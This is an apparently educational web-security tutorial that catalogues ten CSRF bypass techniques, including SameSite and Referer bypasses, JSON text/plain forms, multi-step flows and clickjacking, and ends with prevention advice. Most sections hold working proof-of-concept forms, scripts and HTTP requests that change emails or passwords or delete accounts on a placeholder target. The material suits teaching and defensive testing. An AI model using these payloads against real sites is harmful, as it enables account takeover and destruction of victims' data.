1. CSRF Token Not Validated Server-Side
The most fundamental CSRF token failure: the token is present in the form and transmitted with the request, but the server never checks it. The existence of a token in the HTML gives developers false confidence, but the validation logic was never written, or was commented out during debugging and never restored.
# Legitimate request with token
POST /account/email/change HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=masaaki%40target.com&csrf_token=6f3ab9c24e17d
# Attack — remove the token entirely
POST /account/email/change HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=attacker%40evil.com
HTTP/1.1 302 Found
# Redirect to /account — change succeeded
<!-- PoC for omitted token -->
<form action="https://target.com/account/email/change" method="POST">
<input name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>
2. CSRF Token Not Tied to Session
The server validates that a token exists and is well-formed, but does not verify that it belongs to the current user's session. An attacker can use their own valid CSRF token in a request that targets the victim's session.
- Create your own account (attacker: [email protected]). Log in and capture the CSRF token from your session:
csrf_token=ATTACKER_TOKEN_XYZ. - Craft the CSRF PoC using your own token, but targeting the victim's session.
- When the victim visits the PoC page, their browser sends their session cookie but the attacker's CSRF token. The server validates the token format (valid!) but not the session binding (missing check).
<!-- Token belongs to attacker account; cookie belongs to victim -->
<form action="https://target.com/account/password/change" method="POST">
<input name="password" value="hacked123">
<input name="csrf_token" value="ATTACKER_TOKEN_XYZ">
</form>
<script>document.forms[0].submit();</script>
# What the server receives
POST /account/password/change HTTP/1.1
Cookie: session=VICTIM_SESSION
Content-Type: application/x-www-form-urlencoded
password=hacked123&csrf_token=ATTACKER_TOKEN_XYZ
# Server checks: is ATTACKER_TOKEN_XYZ a valid token? Yes.
# Server DOES NOT check: does this token belong to VICTIM_SESSION? MISSING.
3. CSRF via URL — GET-Based State Changes
Any endpoint that changes state on a GET request is CSRF-vulnerable regardless of SameSite settings, because browser navigation (clicking a link, loading an image, visiting a URL) always sends GET requests cross-origin with cookies attached — unless SameSite=Strict is set.
# Endpoint makes a state change on GET
GET /account/email/change?email=masaaki%40target.com&confirm=1 HTTP/1.1
Host: target.com
Cookie: session=abc123
HTTP/1.1 302 Found
<!-- Any of these triggers the GET request -->
<img src="https://target.com/account/email/change?email=attacker%40evil.com&confirm=1">
<iframe src="https://target.com/account/delete?confirm=1"></iframe>
<script>window.location = "https://target.com/account/email/change?email=attacker%40evil.com";</script>
4. SameSite=Lax Bypass via Top-Level Navigation
SameSite=Lax is now the Chrome browser default. It blocks cookies on cross-site subrequests (fetch, XHR, img src, iframe) but permits them on top-level navigations — full page loads initiated by user actions or JavaScript redirects. If the target application processes state changes on GET parameters during a top-level navigation, Lax provides no protection.
# SameSite=Lax blocks this (subrequest)
fetch('https://target.com/account/delete', {
method: 'POST', credentials: 'include'
});
# Cookie NOT sent — blocked by Lax policy
# SameSite=Lax ALLOWS this (top-level navigation GET)
window.location = 'https://target.com/account/email/[email protected]';
# Cookie IS sent — Lax permits top-level GET navigation
Lax Bypass via Method Override
Some frameworks support _method override parameters (Ruby on Rails, Laravel). A GET request with ?_method=POST or ?_method=DELETE is processed as a POST/DELETE internally — and it carries Lax cookies because it arrives as a GET.
GET /account/delete?_method=DELETE&confirm=true HTTP/1.1
Host: target.com
Cookie: session=abc123
# Lax cookie sent — server interprets as DELETE
5. SameSite=Strict Bypass via Sibling Subdomain XSS
SameSite=Strict is the strongest protection — cookies are never sent cross-site, regardless of request type. However, subdomains of the same eTLD+1 are considered same-site. If any subdomain of target.com has a stored XSS vulnerability, you can leverage it to make a same-site POST request to the main application, bypassing Strict.
# Same-site determination (Strict context)
# target.com sets session cookie with SameSite=Strict
# blog.target.com is SAME SITE as target.com
# attacker.com is CROSS SITE — blocked
# Attack chain:
# 1. Find stored XSS on blog.target.com
# 2. Inject payload that makes POST to target.com/account/email/change
# 3. Request is same-site — SameSite=Strict cookie IS sent
// XSS payload on blog.target.com
fetch('https://target.com/account/email/change', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker%40evil.com'
});
// Cookie sent — request originated from same site (blog.target.com)
6. SameSite=None + Secure — Old Exploit Surface
Cookies explicitly set with SameSite=None; Secure are sent on all cross-site requests (subrequests and navigations), restoring the pre-SameSite behaviour. If an application session cookie has this attribute — often by design for embedded widgets, SSO flows, or legacy compatibility — traditional CSRF attacks work without any bypass.
# Cookie with SameSite=None is sent cross-site
Set-Cookie: session=abc123; SameSite=None; Secure; HttpOnly; Path=/
# Standard CSRF PoC applies — fetch/form cross-site includes cookie
<form action="https://target.com/account/email/change" method="POST">
<input name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>
Check your target's Set-Cookie headers carefully. Mixed-mode applications often set some cookies with Lax (session) and others with None (third-party tracking, analytics, embed tokens). If the authentication relies on a None cookie, the protection gap is complete.
7. Content-Type Bypass for JSON Endpoints
Many modern applications accept requests only with Content-Type: application/json, reasoning that forms can only send application/x-www-form-urlencoded or multipart/form-data. The bypass: use text/plain (a simple request content type) and craft the body to be valid JSON that the server parses regardless of the declared content type.
# Target processes JSON but we send text/plain (no pre-flight)
POST /api/v1/account/email HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: text/plain
{"email":"[email protected]","_csrf":"ignored"}
<!-- PoC — text/plain form, body is valid JSON -->
<form action="https://target.com/api/v1/account/email"
method="POST"
enctype="text/plain">
<input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
The above form trick works because browsers encode name=value as-is for text/plain, producing the body:
{"email":"[email protected]","ignore":"="}
which is valid JSON with an extra ignored field. Many JSON parsers accept this.
8. Referer Validation Bypass
Some applications validate the Referer header as a CSRF defence. The following techniques bypass it without needing to spoof the header (which browsers prevent).
Appending the Legitimate Domain as a Query Parameter
# Server validation: does Referer contain "target.com"?
# Attacker hosts PoC at: https://attacker.com/?target.com
# Request from that page has Referer:
Referer: https://attacker.com/?target.com
# Naive validation: Referer.includes('target.com') == true → passes
Suppressing the Referer Header
<!-- meta referrer policy suppresses Referer entirely -->
<meta name="referrer" content="no-referrer">
<form action="https://target.com/account/email/change" method="POST">
<input name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>
If the server allows requests with no Referer header (treating absent as acceptable), this bypass works. This is a common fallback — many servers allow missing Referer for compatibility with privacy browsers and VPNs that strip it.
Hosting PoC at a URL Matching the Validation
# If server checks Referer starts with "https://target.com"
# Register domain: target.com.attacker.com
# Referer: https://target.com.attacker.com/ → passes startsWith check
9. Multi-Step CSRF
Some sensitive operations require multiple steps (e.g., change email → confirm change → receive confirmation email → click link). CSRF protection on later steps is often weaker because developers assume the first authenticated step validates intent.
- Step 1 is CSRF-protected (requires a valid token). Observe that the server sets a flow state cookie after step 1:
Set-Cookie: delete_flow=initiated; HttpOnly. - Step 2 validates the presence of the flow cookie, not a CSRF token. Craft a PoC that triggers step 2 directly — the victim's browser already has the flow cookie set from a prior navigation, or the attacker can force step 1 via a separate request.
# Force step 1 (no token check, only initiates flow)
POST /account/delete/initiate HTTP/1.1
Cookie: session=abc123
# Sets: delete_flow=initiated
# Force step 2 (checks flow cookie, not CSRF token)
POST /account/delete/confirm HTTP/1.1
Cookie: session=abc123; delete_flow=initiated
HTTP/1.1 200 OK
{"message": "Account deleted"}
<!-- Two-step PoC using sequential iframes -->
<script>
async function attack() {
await fetch('https://target.com/account/delete/initiate', {
method: 'POST', credentials: 'include'
});
await fetch('https://target.com/account/delete/confirm', {
method: 'POST', credentials: 'include',
body: 'reason=other',
headers: {'Content-Type':'application/x-www-form-urlencoded'}
});
}
attack();
</script>
10. CSRF Chained with Clickjacking
When a CSRF attack requires user interaction (e.g., clicking a confirm button on the target page), clickjacking provides the user interaction element. The attacker overlays the transparent target page on top of a decoy that tricks the victim into clicking the sensitive button.
<!-- Attacker page — victim sees "Click to claim prize" button
but is actually clicking "Delete Account" on target.com -->
<style>
#decoy {
position: absolute;
top: 340px; left: 210px;
z-index: 2;
background: #28a745;
color: white;
padding: 14px 28px;
border-radius: 4px;
font-size: 16px;
cursor: pointer;
}
iframe {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001;
z-index: 3;
}
</style>
<div id="decoy">Click to claim your prize!</div>
<iframe src="https://target.com/account/delete" sandbox="allow-forms allow-scripts"></iframe>
Pre-requisites: the target page must be iframeable (no X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none'), and the action must be executable with a single click on a predictable page layout.
Combined CSRF + clickjacking power: use clickjacking to interact with the target page when CSRF tokens are tied to the session (so you cannot forge the token), but the action is one-click on the authenticated page itself. The victim is the one clicking — within the transparent iframe that holds their authenticated session.
11. Prevention
Synchronizer Token Pattern
Generate a cryptographically random, per-session CSRF token. Embed it in every state-changing form and AJAX request. Validate it server-side and verify it belongs to the current session — not just that it is a valid format.
SameSite=Lax or Strict on Session Cookies
Set SameSite=Lax at minimum on session cookies. Use Strict where possible. Audit every cookie — legacy None cookies are a full CSRF bypass. Never set SameSite=None unless the use case explicitly requires cross-site embedding.
No State Changes on GET
Never perform state-changing operations (create, update, delete) in response to a GET or HEAD request. GET must be idempotent. Move all mutations to POST/PUT/PATCH/DELETE.
X-Frame-Options / frame-ancestors
Set X-Frame-Options: DENY (or SAMEORIGIN) and Content-Security-Policy: frame-ancestors 'none' to block clickjacking. This prevents the CSRF + clickjacking chain entirely.
Double-Submit Cookie Pattern
If stateless CSRF tokens are needed, use the double-submit cookie pattern with a secret-keyed HMAC. Never use a naive double-submit (attacker may be able to set the cookie via a subdomain).
Validate Content-Type Strictly
For JSON APIs, reject requests where Content-Type is not application/json. This forces a pre-flight for cross-origin requests, which CORS blocks by default unless the origin is in the allow-list.
Require Re-Authentication for Critical Actions
For high-impact actions (delete account, change email, change password, add payment method), require the user to re-enter their password. This is unforgeable via CSRF even if all other protections fail.
Subdomain Isolation
Keep untrusted content (user-generated content, marketing pages, blogs) on separate registered domains — not subdomains — so that XSS on those properties cannot be used in a same-site CSRF chain against the main application.